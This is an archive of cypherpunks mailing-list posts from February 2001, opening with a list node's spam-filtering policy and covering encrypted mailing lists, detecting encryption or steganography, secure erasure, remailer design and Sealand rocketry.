Different CDRs have different policies.  http://einstein.ssz.com/cdr/index.html
explains the CDR system.

To unsubscribe from this CDR, send the words "unsubscribe cypherpunks"
(without the quotes) in the body of email to majordomo at lne.com.
If you are subscribed to another CDR, you will have to send your
unsubscribe to it.

The lne.com CDR is an attempt to reduce the spam that has invaded the
cypherpunks list without blocking or delaying non-spam posts.  The way
we do that is to 1) drop posts which are not from a subscriber to any
of the CDRs, and which are not from a known anonymous remailer  2) make
an attempt to recognize spam from the contents of the mail message and
mark spam as such.

These filtering methods affect only cypherpunks mail going to subscribers
of cypherpunks at lne.com- for example, if someone sends mail to the CDR
cypherpunks at cyberpass.com, the mail gets passed to all the CDR nodes
inluding lne for distribution to subscribers.  If the sender isn't a
subscriber to any of the CDRs, the lne.com CDR node will not send the
message to its subscribers.  It will forward the message to the other
CDRs however.

This also means that as a subscriber to the lne CDR, you may see replies
from other CDR suibscribers to posts that you didn't see, because
the were from non-subscribers.

Posts sent directly to the lne CDR need to be from a subscriber to any of
the CDRs (or a known remailer) in order to be accepted and passed on to
the other CDRs.  I'd prefer to have it send everything along, but that'd
require a whole lot of majordomo hacking and it's just not worth it.

Some cypherpunks posters post from addresses that are different
from the one that they're subscribed with, causing their post to be
dropped by lne.com.  When this happens, I'll forward their post to
cypherpunks at lne.com (headers intact) and add their alternate address
to the list of posters.   I will reserve the right to also delete an
address I've added to the list if that address starts sending spam-
this is to defeat an attack where the spammer sends a non-spam message
to the list to get his address added, and then starts spamming the list.
I doubt that I'll have to do this, but I'm mentioning it now in case it
does happen.

The spam-recognition software in use at lne.com is described at
http://www.lne.com/ericm/spammaster.  In short, it looks for key phrases
in the mail body (like "Dear Friend" and "This is not spam") and assigns
points to the different phrases.  The spam point total is put in the
"X-spam" header added at the end of the mail headers.  The mail is still
sent to the list.  The rating is there for lne.com CDR subscribers to
use or not as they please.  The spammaster config file that the lne CDR
uses is available at http://www.lne.com/cpunk/spamfilter and there is
more explanation of the software at http://www.lne.com/ericm/spammaster.

Other anti-spam measures:  lne.com has a policy of blocking mail from
sites that it deems are spam havens.  It may also use the MAPS database(s)
to block mail from spammers.  These measures will affect the posting of
mail directly to the lne CDR but will not affect the relaying of mail from
the other CDRs.  We do not get a feed from the CDR ssz, which is in the
MAPS RSS database because it's an open relay.  While we don't use the
RSS currently, our alternate MX host does.  If lne can't accept mail,
then it goes to the MX host, which rejects mail from SSZ.  Since this
creates an ugly mail loop and neither our MX or SSZ are likely to change
their policies, we don't get a feed from SSZ.  This shouldn't affect CDR
distribution though, as we'll get posts that originate from SSZ through
the other CDRs.

Lne.com runs the input to its CDR list through demime
(http://scifi.squawk.com/demime.html) which deletes MIME attachments
from mail.  Demime leaves a note in the attachments place, so that
recipients know that there was some cruft there.

Lne.com does not archive cypherpunks messages.

The Lne.com CDR strips out the "CDR:" tags in the Subject of messages
that some other CDRs put in.


If you have any questions that aren't answered by this message, send
me email.

Eric Murray

ericm at lne.com


Appendix: technical details.

Here's the deep technical stuff, for those who're interested.
Mail from other CDRs is sent to an address at lne.com, where it's processed
by procmail.  The procmail script checks for bounced mail and for dups, then
sends the mail to the other CDRs, excepting the one that sent it.
It also sends the mail to cypherpunks at lne.com, which is the list, run
by majordomo.  The list alias processes the mail first through a small
script which cleans up the headers (i.e. removing CDR: and Re: Re: from
Subject lines) and then passes it to demime.  Demime strips out any
MIME attachments, leaving a single line in their place to note what
was there.  Then the message is passed to majordomo itself.

The majordomo config is pretty much standard.  The allowed-posters
list is seperate from the subscribers list, so we can use a list of
all CDR subscribers, remailers, etc.  Mail sent directly to the lne CDR
goes to cypherpunks first, but the local address that runs through
procmail is subscribed, so the mail also gets forwarded to the other CDRs.

We generate the list of CDR subscribers by requesting a 'who cypherpunks'
from each one, once a day.  Some CDRs don't allow that command, so
for those we ask that they send the list via a cron job.  The list is
processed along with a locall-maintained list of remailers and alternate
addresses to make the list that's used for determing if a post is from
a subscriber.

The only modifications to Majordomo was a small one to allow wildcards
in addresses, so we can allow posts from *@remailer.somewhere without
having to add each different remailer user's address (for remailers
that allow different user ids to show in the From: line).





-- 
  Eric Murray           Consulting Security Architect         SecureDesign LLC
  http://www.securedesignllc.com                            PGP keyid:E03F65E5




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Date: 22 Feb 2001 10:21:54 -0600
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From bear at sonic.net  Thu Feb 22 10:27:17 2001
From: bear at sonic.net (Ray Dillinger)
Date: Thu, 22 Feb 2001 10:27:17 -0800 (PST)
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
In-Reply-To: <3A951801.FFFD51E5@ricardo.de>
Message-ID: <Pine.LNX.4.21.0102221025450.17464-100000@bolt.sonic.net>




On Thu, 22 Feb 2001, Tom wrote:

>Ray Dillinger wrote:
>> Here's an interesting thought, though.  There are all kinds of
>> number generators already hanging in the sky, and some of them
>> are fairly random, so this thing might actually have a prayer
>> of working.
>
>that, of course, requires that you trust THOSE. now it is highly
>unlikely (though not impossible) that the NSA thought of this, say, 10
>years ago, and it would be an extremely costly operation to secretly
>modify those birds, but that only gives confidence, not trust.

I was not talking about artificial satellites.  I was talking about 
chaotic processes observable with telescopes.

				Bear





From sameer at bpm.ai  Thu Feb 22 10:36:39 2001
From: sameer at bpm.ai (Sameer Parekh)
Date: Thu, 22 Feb 2001 10:36:39 -0800 (PST)
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
In-Reply-To: <3433926447.982686469@[10.0.0.5]> from Rachel Willmer at "Feb 20, 2001  4:27:49 pm"
Message-ID: <200102221836.KAA11368@acid.bpm.ai>

	It's quite funny that everyone completely missed the point of
your original email. Not a surprise though. yet another reason I'm not
in the crypto/security industry anymore.

> The problem I see with doing this, is that it doesn't stop someone 
> absent-mindedly sending out an unencrypted mail to the list server. Which 
> then will travel happily in the clear over the Internet to the list server, 
> (where it gets encrypted and sent back out again but its too late by then).
> 
> so I'm coming round to the idea that the only way to do this is via a 
> web-driven interface on a secure server.
> 
> ugh.
> 
> rachel
> 


-- 
sameer




From bram at gawth.com  Thu Feb 22 10:40:40 2001
From: bram at gawth.com (Bram Cohen)
Date: Thu, 22 Feb 2001 10:40:40 -0800 (PST)
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
In-Reply-To: <3433926447.982686469@[10.0.0.5]>
Message-ID: <Pine.LNX.4.21.0102221039520.26294-100000@ultra.gawth.com>

On Tue, 20 Feb 2001, Rachel Willmer wrote:
> 
> so I'm coming round to the idea that the only way to do this is via a 
> web-driven interface on a secure server.

Yep, the sad truth is that encrypted mail products just aren't very usable
right now.

-Bram Cohen

"Markets can remain irrational longer than you can remain solvent"
                                        -- John Maynard Keynes




From bear at sonic.net  Thu Feb 22 11:14:25 2001
From: bear at sonic.net (Ray Dillinger)
Date: Thu, 22 Feb 2001 11:14:25 -0800 (PST)
Subject: Secure Erasing is actually harder than that...
In-Reply-To: <Pine.SOL.4.30.0102221502020.26202-100000@kruuna.Helsinki.FI>
Message-ID: <Pine.LNX.4.21.0102221027540.17464-100000@bolt.sonic.net>




On Thu, 22 Feb 2001, Sampo Syreeni wrote:

>On Tue, 20 Feb 2001, Ray Dillinger wrote:
>
>>We need editors that don't put cleartext on the disk when you
>>hit the "save" command.
>
>Why not simply use encrypted hard drives? Make the driver forget key
>material in a fixed period of keyboard inactivity? This would be a helluva
>lot easier than making secure versions of every existing application out
>there...

The problem with an encrypted drive is that the applications that 
are able to write it have got to do key management, and all of 
those existing applications were written with the assumption that 
they didn't have to do key management.

There are various workarounds, but that's what they are - workarounds. 
If your application can read and write an encrypted drive without 
specifically providing the keys, then a trojan on your system can 
read and write an encrypted drive without specifically providing 
the keys. 

These workarounds can only work by "hiding" key management from 
the application, and thus from the user - which means key 
management gets done badly if at all.  Good crypto can't be 
tacked on - it has to be designed in.

Another problem with an encrypted drive is that an encrypted drive is 
infrastructure that someone is likely to not have in place when they 
first discover a real need to encrypt.  

Don't get me wrong -- I believe in encrypted drives.  They provide 
a "mix" so you can't tell which bit was written by what application, 
and that's a valuable service.  But there are limits to what they 
can do or should be relied on to do.  Applications that write to 
(and more importantly, which read from) the encrypted drive should 
themselves be crypto-aware and do proper key management. 

			Bear




From k.brown at ccs.bbk.ac.uk  Thu Feb 22 03:49:19 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Thu, 22 Feb 2001 11:49:19 +0000
Subject: Sealand and Experimental Rocketry
References: <Pine.LNX.3.96.1010221175856.5925y-100000@einstein.ssz.com>
Message-ID: <3A94FCBF.817FC083@ccs.bbk.ac.uk>


Jim Choate wrote 2 postings:

[one of them]

> Sealand is an independent principality with no treaties related to
> rocketry with any of them. What are they going to do, attack an
> independent nation because a hobbyist fired off an amateur rocket?

Yes, if they wanted to. For values of "attack" that start with the local
river police boat and go up to maybe a fishery protection vessel or the
UK equivalent of your US coastguard cutters, perhaps a  helicopter or
two. I'm afraid that there isn't much evidence that the British
government is reluctant to attack independent nations when they feel it
in their interests to do so, nor that they consider Sealand to be in
independent nation.

I took the opportunity of looking over some of Ryan's interviews from
last year (it's all gone quiet recently) and he's pretty clear that they
are more or less relying on UK policing & protection and would be likely
to co-operate if anything happens. To be honest I find myself wondering
if the whole Sealand thing is a bit of a publicity stunt & HavenCo's
real servers will be somewhere else - maybe not very far away -
facilities in England & the Netherlands with perhaps some backup on the
tower would be secure enough - these are also ideas that were discussed
last year. If you are prepared to trash your computers when the local
authorities move in (which was their stated intention) then you don't
need a defensible fortress, still less an independent nation, just
somewhere with a good view all round that is hard to sneak up on. 
(Anyone fancy co-location in a disused grain silo in Nebraska?)
 
> Yep, that's how WWIII will start, you bet.

No, not WW3, more likely just a "diplomatic incident". When the
Norwegians forgot to tell the Russians about a weather rocket a few
years ago it didn't start WW3. In fact when the Russian EWS failed a few
years before that & for a few minutes they thought there was a serious
attack it didn't start WW3 - it is now pretty clear that at least a
significant proportion of the command if the Russian missile forces
never actually intended to obey orders. There seem to be few Russian
equivalents of Dr. Strangelove, or even of Teller. (But then there are
few US equivalents of Stalin or Beria, so it mostly doesn't go their way
- just being sane didn't stop them being evil - whoops, I mustn't start
that thread again).

> Hell, by the time the radar  op's figure out what's going on you're so high you're off their scopes.

Quite a lot of this stuff is in orbit these days...

However small a rocket is, if it is going up hard enough to reach LEO it
is going to worry any meaningful EWS. And telling how fast something is
going is a lot easier from a few hundred miles away than telling how
large it is, especially if you have 2 minutes to decide whether to phone
the President. 

So when you are going to launch a small, harmless, rocket you tell any
nearby governments. And when you are going to launch a small, harmless,
rocket into LEO - so that it can potentially come down anywhere - you
tell everybody who might have an interest. That's what those treaties
are mostly about. Not mainly an evil statist plot to stop nice
free-market capitalists from getting into space, more the equivalent of
the rules of the road. If I turned up in your town determined to
exercise my God-given right to drive on the left like a true Brit, I
doubt if you would complain when the police tried to stop me.

[...another one...]

> The Gulf is deeper than the North Sea and I'd bet the rigs we got out here
> are just as big.

The North Sea ones are (mostly) built tougher, mainly because the
weather is worse. We don't get hurricanes but we get continuous bad
weather. So while a Gulf platform may have decent weather be OK for 360
days & then shut down and maybe evacuate for a storm warning, a North
Sea platform might carry on working through weeks of 50 mph winds,
drizzle, and 30-foot waves. 
 
> No, you need a boat. Sealand is more than sufficient for putting a Amateur
> rocket up. Hell, I could fire one from my back yard as far as that goes.
> Though I think the launch tower might give somebody a clue.

Yes, but you'd probably tell your neighbours first, and if you didn't
you wouldn't be surprised to get a visit from men in uniform a few
minutes later - if only the fire brigade, after next door gave them a
call.

> While the rest of you folks sit around telling yourself the same old
> matra, "It can't be done. It can't be done. It can't be done." We're going
> to do it.

It can be done. I think it will be done. But why not do it from
somewhere warm and tropical and equatorial? There a places in Africa &
S. America you could launch from and no-one would notice. Tell the
locals it is a firework show. Put on a real firework show to keep them
happy (or celebrate) and make the launch the climax.

You honestly wouldn't like the weather in the North Sea.

Ken




From sunder at sunder.net  Thu Feb 22 09:03:45 2001
From: sunder at sunder.net (Sunder)
Date: Thu, 22 Feb 2001 12:03:45 -0500
Subject: Testing for encryption. (fwd)
References: <Pine.LNX.3.96.1010221175100.5925u-100000@einstein.ssz.com>
Message-ID: <3A954671.E5D51B17@sunder.net>


Jim Choate wrote:
> 
> Yeah, yeah, yeah. Only problem is the constraint that GPG must be
> specified as the allowed source encryption standard a priori. This was NOT
> in the original problem description.
> 
> There is NO algorithm which will determine if an arbitrary piece of text
> is encrypted by an arbitrary algorithm. You can tell, at least
> statistically if a particular piece of arbitrary text ISN'T a particular
> algorithm or language either. Again, not the same problem.
> 

Yes, but you >CAN< specify that PGP and GPG and OpenPGP and other flavors
are acceptible.  

However, for a closed mailing list you simply require a particular (or
a set of) flavor of email encryptors which the listserver will understand.
Simple.  Solved.  Done.

So your arguement is bullshit.  These have clear text tags indicating what
the encrypted data was encrypted with.  End of story.

You can check the level of entropy in a block, which will tell you that
it is either random, random looking, or encrypted.

Certain encryption algorithms MAY have some characteristics over just 
plain random data.  For instance WWII engima had a flaw whereby if you
encoded an "A" you would never get back an "A".  This was very useful
for Bletchley.  

If you're trying to detect whether or not there's hidden stego in 
something there are several ways to find out.  One is simply if you get
two copies of the same media, you can compare them.  Another is to look
for statistical differences in the low bits based on the program that
generated them.  You'll find that the low bits of audio for instance
aren't all that random usually... etc...

If you've got a good stego program, it will try to compensate for the
bits it changes.  Depending on how good it is, you can figure it out.


-- 
----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
  \|/  :aren't security.  A |share them, you don't hang them on your/\|/\
<--*-->:camera won't stop a |monitor, or under your keyboard, you   \/|\/
  /|\  :masked killer, but  |don't email them, or put them on a web  \|/
 + v + :will violate privacy|site, and you must change them very often.
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------




From honig at sprynet.com  Thu Feb 22 12:07:23 2001
From: honig at sprynet.com (David Honig)
Date: Thu, 22 Feb 2001 12:07:23 -0800
Subject: Testing for encryption. (fwd)
In-Reply-To: <3A954671.E5D51B17@sunder.net>
References: <Pine.LNX.3.96.1010221175100.5925u-100000@einstein.ssz.com>
Message-ID: <3.0.6.32.20010222120723.008a1530@pop.sprynet.com>



Re: preventing accidental cleartext from getting reflected: 

If the mail agent blocks cleartext, great, your recipients won't ever
be sent cleartext by your reflector.  

But we can make the problem harder if we care about someone sniffing the
careless
sender's message.  To prevent this, you can either use an online-SSL
system, or you can insist that your members set their email crypto plugin to
*always encrypt* when sending to your list.

If you're actually building an encrypted-only-remailer, may be able to save
participants
some tedium by having the remailer have one key for the
list-submission-address, and resending messages with individual
subscribers' key. Otherwise each subscribe must use a feature called
"Groups" in PGP's Eudora Plugin 6.x (which they may not have if e.g., they
use command line versions) and *each has to maintain a local copy of the
membership list*, which defeats
the purpose of using a remailer.

Actually these functions belong in the listserver (remailer) not the SMTP
agent.

1. filter on: 
	list of acceptable substrings such as headers, 'CDR:' tokens, etc.; and/or 
	entropy threshold and/or; 
	recognized digsigs from members of the list

2. decrypt

3. for each list member
	encrypt msg from previous step and send





.......
"What company did you say you were from, Mr. Hewlett?"
---Walt Disney to Bill Hewlett eetimes 22.01.01 p 32

 






  







From ravage at einstein.ssz.com  Thu Feb 22 10:55:47 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 22 Feb 2001 12:55:47 -0600 (CST)
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
In-Reply-To: <3A951648.4064FBC1@ricardo.de>
Message-ID: <Pine.LNX.3.96.1010222125521.5925Z-100000@einstein.ssz.com>



On Thu, 22 Feb 2001, Tom wrote:

> you are the one missing the point by about, uh, the size of mexico. the
> original poster of this thread had a specific problem. it doesn't matter

Which didn't include a priori encryption specifications.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ravage at ssz.com  Thu Feb 22 10:58:32 2001
From: ravage at ssz.com (Jim Choate)
Date: Thu, 22 Feb 2001 12:58:32 -0600 (CST)
Subject: Testing for encryption. (fwd)
In-Reply-To: <3A9519F4.49D2BF50@ricardo.de>
Message-ID: <Pine.LNX.3.96.1010222125743.5925d-100000@einstein.ssz.com>



On Thu, 22 Feb 2001, Tom wrote:

> that, of course, depends mostly on what you consider the "original". for
> the current FAQ thread, the original problem description given does read
> very much like using one specific software IS an acceptable option.

Supply the part of the message which you believe specifies the source
encryption algorithm?

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at ssz.com  Thu Feb 22 11:01:23 2001
From: ravage at ssz.com (Jim Choate)
Date: Thu, 22 Feb 2001 13:01:23 -0600 (CST)
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum (fwd)
Message-ID: <Pine.LNX.3.96.1010222130026.5925f-100000@einstein.ssz.com>



Where's the supposed source encryption specification statement?

---------- Forwarded message ----------
Date: Tue, 20 Feb 2001 16:27:49 +0000
From: Rachel Willmer <rachel at intertrader.com>
To: Ben Laurie <ben at algroup.co.uk>, Joseph Ashwood <ashwood at msn.com>
Cc: cypherpunks at cyberpass.net, coderpunks at toad.com, cryptography at c2.net
Subject: Re: FAQ? how to set up a cross-platform encrypted mailing list/forum

The problem I see with doing this, is that it doesn't stop someone 
absent-mindedly sending out an unencrypted mail to the list server. Which 
then will travel happily in the clear over the Internet to the list server, 
(where it gets encrypted and sent back out again but its too late by then).

so I'm coming round to the idea that the only way to do this is via a 
web-driven interface on a secure server.

ugh.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at ssz.com  Thu Feb 22 11:03:54 2001
From: ravage at ssz.com (Jim Choate)
Date: Thu, 22 Feb 2001 13:03:54 -0600 (CST)
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
In-Reply-To: <Pine.LNX.4.21.0102221025450.17464-100000@bolt.sonic.net>
Message-ID: <Pine.LNX.3.96.1010222130309.5925g-100000@einstein.ssz.com>



On Thu, 22 Feb 2001, Ray Dillinger wrote:

> On Thu, 22 Feb 2001, Tom wrote:

> >that, of course, requires that you trust THOSE. now it is highly
> >unlikely (though not impossible) that the NSA thought of this, say, 10
> >years ago, and it would be an extremely costly operation to secretly
> >modify those birds, but that only gives confidence, not trust.
> 
> I was not talking about artificial satellites.  I was talking about 
> chaotic processes observable with telescopes.

Whose telescope? Who built the hardware? Who built the software?

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ravage at ssz.com  Thu Feb 22 11:16:43 2001
From: ravage at ssz.com (Jim Choate)
Date: Thu, 22 Feb 2001 13:16:43 -0600 (CST)
Subject: Another problem with telescopic RNG's
Message-ID: <Pine.LNX.3.96.1010222131515.5925h-100000@einstein.ssz.com>



They are open to 'artificial star' attacks using lasers and the upper
atmosphere. They  are currently used in the Keck for example as 'adaptive
optics' so they can correct for distortions in the atmosphere. They use a
fixed amplitude beam and measure the variations, the opposite tack of
using a variable beam could induce non-randomness into the stream.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at ssz.com  Thu Feb 22 11:54:54 2001
From: ravage at ssz.com (Jim Choate)
Date: Thu, 22 Feb 2001 13:54:54 -0600 (CST)
Subject: FAQ? how to set up a cross-platform encrypted  mailing  list/forum (fwd)
Message-ID: <Pine.LNX.3.96.1010222135259.5925l-100000@einstein.ssz.com>



The original poster allowed plain text and the only other stipulation they
made was 'if it was unencrypted', the other statement related to doing
what all of you are speaking of, specifying (via a httpd interface, SSL?,
supported protocols NOT specified outside of no plaintext.

---------- Forwarded message ----------
Date: Thu, 22 Feb 2001 08:52:37 -0800
From: David Honig <honig at sprynet.com>

I don't think the original poster intended rot13 to be acceptable.
And this would be caught: plaintext ciphered with the former won't pass the
entropy test.  

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From tom at ricardo.de  Thu Feb 22 05:38:16 2001
From: tom at ricardo.de (Tom)
Date: Thu, 22 Feb 2001 14:38:16 +0100
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
References: <Pine.LNX.3.96.1010221071710.5925j-100000@einstein.ssz.com>
Message-ID: <3A951648.4064FBC1@ricardo.de>


(receipient list snipped)


Jim Choate wrote:
> > check back in the archives, early october last year. you'll find an
> > extensive discussion and several posted algorithms which - while not
> > perfect - should work well enough, especially in the kind of controlled,
> > closed environment that the original poster is working with.
> 
> Which of the three list archives? 

my fault. cypherpunks.


> I'm subscribers to all three of the
> major lists you sent this to and NONE of them (especially if you're
> talking about the moronic discussion on cypherpunks from a couple of
> months ago - where NOTHING, especially no working algorithms were
> discussed) have ever demonstrated a single algorithm that can decide if an
> arbitrary block of symbols is encrypted or not (unless of course you know
> a priori by pre-defining it, which isn't the same problem as you describe
> at all).

you are the one missing the point by about, uh, the size of mexico. the
original poster of this thread had a specific problem. it doesn't matter
if an algorithm satisfies some arbitrary and, to be brutally honest,
mental-masturbation definition of perfect cryptography detection.
incidently, since he is working in a closed environment and CAN dictate
the crypto to be used (within limits, such as the requirement that the
software for it be available on all used platforms), the very
requirement you mention as the critical is in fact not only uncritical,
but not even a problem.


> Ah, now you change the rules of the game with 'controlled environment'.
> That wasnt' in  your first description. I told you there was no such
> algorithm.

you should really go back and read the thread with this subject line
from the very beginning. we are NOT talking about any pipe-dream
"detects any imaginable form of crypto" algorithm, which I will agree
can not exist. this thread is about a very specific problem and possible
solutions.




From info at giganetstore.com  Thu Feb 22 06:41:30 2001
From: info at giganetstore.com (info at giganetstore.com)
Date: Thu, 22 Feb 2001 14:41:30 -0000
Subject: Passatempo de Carnaval
Message-ID: <0b99c3041141621WWWSHOPENS@wwwshopens.giganetstore.com>

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formato HTML, basta clicar aqui.
<http://www.giganetstore.com/dynamic/promotions/mails/carnaval.htm> 
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Para Participar basta estar registado no nosso site e enviar-nos o seu
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Passatempo de Carnaval
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Ou para o Email: apoio at giganetstore.com <mailto:apoio at giganetstore.com> 
O Resultado deste Passatempo será divulgado no dia 14/03/2001. Todos os
trabalhos terão de ser apresentados até ao dia 11/03/2001. Serão
devolvidas as imagens que nos forem enviadas acompanhadas da respectiva
solicitação, bem como de envelope devidamente selado e endereçado.
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E agora que já sabe tudo participe e divirta-se!
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do seu registo e retirar a opção de receber informação acerca das nossas
promoções e novos serviços. 
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From tom at ricardo.de  Thu Feb 22 05:45:37 2001
From: tom at ricardo.de (Tom)
Date: Thu, 22 Feb 2001 14:45:37 +0100
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
References: <Pine.LNX.4.21.0102211331450.6919-100000@bolt.sonic.net>
Message-ID: <3A951801.FFFD51E5@ricardo.de>


Ray Dillinger wrote:
> >my point exactly. one way or the other you can't TRUST the stream,
> >therefore it is worthless.
> 
> Here's an interesting thought, though.  There are all kinds of
> number generators already hanging in the sky, and some of them
> are fairly random, so this thing might actually have a prayer
> of working.

that, of course, requires that you trust THOSE. now it is highly
unlikely (though not impossible) that the NSA thought of this, say, 10
years ago, and it would be an extremely costly operation to secretly
modify those birds, but that only gives confidence, not trust.

in addition, all the other problems remain, especially those of storage
and synchronisation.




From tom at ricardo.de  Thu Feb 22 05:47:00 2001
From: tom at ricardo.de (Tom)
Date: Thu, 22 Feb 2001 14:47:00 +0100
Subject: Sealand and Experimental Rocketry
References: <Pine.LNX.3.96.1010221160955.5925n-100000@einstein.ssz.com>
Message-ID: <3A951854.F3F07E86@ricardo.de>


Jim Choate wrote:
> While the rest of you folks sit around telling yourself the same old
> matra, "It can't be done. It can't be done. It can't be done." We're going
> to do it.

please post pictures




From tom at ricardo.de  Thu Feb 22 05:53:56 2001
From: tom at ricardo.de (Tom)
Date: Thu, 22 Feb 2001 14:53:56 +0100
Subject: CDR: Testing for encryption. (fwd)
References: <Pine.LNX.3.96.1010221175100.5925u-100000@einstein.ssz.com>
Message-ID: <3A9519F4.49D2BF50@ricardo.de>

Jim Choate wrote:
> 
> Yeah, yeah, yeah. Only problem is the constraint that GPG must be
> specified as the allowed source encryption standard a priori. This was NOT
> in the original problem description.

that, of course, depends mostly on what you consider the "original". for
the current FAQ thread, the original problem description given does read
very much like using one specific software IS an acceptable option.


> There is NO algorithm which will determine if an arbitrary piece of text
> is encrypted by an arbitrary algorithm. 

nobody's discussing that point, jim. not now or in the past. we are all
very well aware of the fact that you can easily define the problem in a
way that is unsolvable. fortunately, most real-world problems do have
constraints on them that redefine the problem to one that CAN be solved,
often trivially.


EOT




From decoy at iki.fi  Thu Feb 22 05:04:19 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Thu, 22 Feb 2001 15:04:19 +0200 (EET)
Subject: Secure Erasing is actually harder than that...
In-Reply-To: <Pine.LNX.4.21.0102201003090.4939-100000@bolt.sonic.net>
Message-ID: <Pine.SOL.4.30.0102221502020.26202-100000@kruuna.Helsinki.FI>


On Tue, 20 Feb 2001, Ray Dillinger wrote:

>We need editors that don't put cleartext on the disk when you
>hit the "save" command.

Why not simply use encrypted hard drives? Make the driver forget key
material in a fixed period of keyboard inactivity? This would be a helluva
lot easier than making secure versions of every existing application out
there...

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From tom at ricardo.de  Thu Feb 22 06:07:01 2001
From: tom at ricardo.de (Tom)
Date: Thu, 22 Feb 2001 15:07:01 +0100
Subject: Archive Request
References: <4.3.2.7.2.20010221180925.00be9400@flex.com>
Message-ID: <3A951D05.64C52BBA@ricardo.de>


Reese wrote:
> For a slightly humorous, but thought-provoking address on how memory failure
> may encroach when questions stray from the pertinent, see
> 
> <http://www.inet-one.com/cypherpunks/dir.98.11.30-98.12.06/msg00103.html>
> 
> Will the real Anonymous please stand up?
> 
> Reese

one quote really got me thinking:

"Will these problems that afflict me spread? You'd better hope 
your sorry ass they do! If they don't, we're all in for a very
rough ride, and not 50 years from now, but tomorrow and next
year. We're already well down the slippery slope. Personally,
though, I think we're in for a shitstorm. That's because
people are basically unprepared for the degree of evil that
has been refined and distilled in government."


we've only had this democracy thing for a short time on a global scale
(yes, I know some countries have a few centuries, I was saying "global
scale"). and it's already heavily degenerating. we may be in for
interesting times once it reaches the point where revolution sounds more
promising than setting up a party for your interest. and that point may
not be far off.



enough politics, back to our regular flamming and spamming.




From ravage at ssz.com  Thu Feb 22 13:07:09 2001
From: ravage at ssz.com (Jim Choate)
Date: Thu, 22 Feb 2001 15:07:09 -0600 (CST)
Subject: Remailer Functions (Re: Testing for encryption. (fwd))
Message-ID: <Pine.LNX.3.96.1010222142849.5925p-100000@einstein.ssz.com>



Which raises an interesting question for me, Plan 9 has no remailer and
I've decided to take that on as a first project. However, I want to
combine the features of say majordomo with several different sorts of
anonymity (ranging from stripping From: headers to full encryption). For
the time being I'm refering to it as 'igor'.

I believe fundamentally that putting routing info in the body of the
traffic is evil. So I intend to use the Subject: with default delimiters
(ie [igor: *]). So if you wanted to send to SSZ CDR under igor and strip
your headers the command might be Subject: Foobar [igor: strip_header].
The [*] is itself always stripped. There will also be a no_log that won't
log the receipt or transmission in any system file. You could of course
chain commands. While I do intend to allow igor to use a 'set' of trusted
remailers using PKE the actual selection of remailers will be decided by
the listproc and not the user. They'll only be able to do, for example,

[igor: encrypt, mix, strip_header, no_log, check_pgp]

This would for example encrypt the body using the inter-igor PK's. It
would send the email w/ cover traffic to some number of remailers (maybe
mix_# also?). It would strip the header before it did anything so in
effect the recipient will see the last remailers header and that's it. No
log would instruct all igor nodes to not log the traffic. And finally it
would ensure that the original source traffic fit the PGP format (it would
support other algorithms through loadable modules.

Inter-igor traffic relating to a particular piece of mail would be wrapped
around the actual traffic under question (the body would never be touched
by igor's hands directly). I've still not decided exactly what scope this
command set will cover.

With respect to mix, what I intend is each igor will have a list of
trusted single-hop receivers. It will randomly select n (or m if n>m) of
these and use the PK's to encrypt the traffic. It will only send/receive
from this trusted list. So if you tell igor to use 3 layers of remailer
then each node can only know of it's immediate neighbors and won't have
any way of determining where any neighbor received it from (Yes, the
wording of the last couple of sentences is a tad vague).

It will of course support the sorts of features that majordomo has as
well.

What other sorts of features might be useful?

---------- Forwarded message ----------
Date: Thu, 22 Feb 2001 12:07:23 -0800
From: David Honig <honig at sprynet.com>

